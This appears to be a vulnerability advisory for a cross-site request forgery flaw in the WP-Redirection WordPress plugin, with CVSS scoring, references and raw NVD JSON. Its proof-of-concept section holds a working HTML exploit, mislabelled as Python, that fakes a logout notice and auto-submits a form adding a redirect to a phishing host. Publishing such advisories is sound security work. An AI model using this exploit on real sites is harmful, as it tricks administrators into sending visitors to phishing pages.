CVE-2026-7562

Description

The WP-Redirection plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.0.3. This is due to the absence of a nonce field in the admin settings form and the lack of any nonce verification (via check_admin_referer() or wp_verify_nonce()) in the displayWPRedirectionManagementPage() function before processing POST requests that add, edit, or delete URL redirection rules. This makes it possible for unauthenticated attackers to trick a logged-in administrator into clicking a crafted link, causing the attacker to create, modify, or delete redirection records in the plugin's database table without the administrator's consent.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-Redirection <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-7562
  This HTML page demonstrates how an attacker could exploit the CSRF vulnerability
  to add a malicious redirection rule if an admin clicks the link while logged in.
-->
<html>
<body>
  <h2>You are logged out, please login again</h2>
  <!-- The actual form sends a POST request to the vulnerable endpoint -->
  <form action="http://target-wordpress-site/wp-admin/admin.php?page=wp-redirection-management" method="POST">
    <input type="hidden" name="action" value="add_redirect" />
    <input type="hidden" name="url_from" value="/trusted-page" />
    <input type="hidden" name="url_to" value="http://attacker-controlled-site.com/phishing" />
    <!-- Nonce is intentionally absent to exploit the vulnerability -->
    <input type="submit" value="Login" />
  </form>
  <script>
    // Auto-submit to simulate a more realistic attack scenario
    document.forms[0].submit();
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7562/
[4] VulDB https://vuldb.com/cve/CVE-2026-7562
[5] https://plugins.trac.wordpress.org/browser/wp-redirection/tags/1.0.3/wp-redirection.php#L219
[6] https://plugins.trac.wordpress.org/browser/wp-redirection/tags/1.0.3/wp-redirection.php#L39
[7] https://plugins.trac.wordpress.org/browser/wp-redirection/trunk/wp-redirection.php#L219
[8] https://plugins.trac.wordpress.org/browser/wp-redirection/trunk/wp-redirection.php#L39
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/15177d1b-ef48-49e3-9bd9-34262ed2c134?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7562", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:57.453", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Redirection plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 1.0.3. This is due to the absence of a nonce field in the admin settings form and the lack of any nonce verification (via check_admin_referer() or wp_verify_nonce()) in the displayWPRedirectionManagementPage() function before processing POST requests that add, edit, or delete URL redirection rules. This makes it possible for unauthenticated attackers to trick a logged-in administrator into clicking a crafted link, causing the attacker to create, modify, or delete redirection records in the plugin's database table without the administrator's consent."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-redirection/tags/1.0.3/wp-redirection.php#L219", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-redirection/tags/1.0.3/wp-redirection.php#L39", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-redirection/trunk/wp-redirection.php#L219", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-redirection/trunk/wp-redirection.php#L39", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15177d1b-ef48-49e3-9bd9-34262ed2c134?source=cve", "source": "[email protected]"}]}}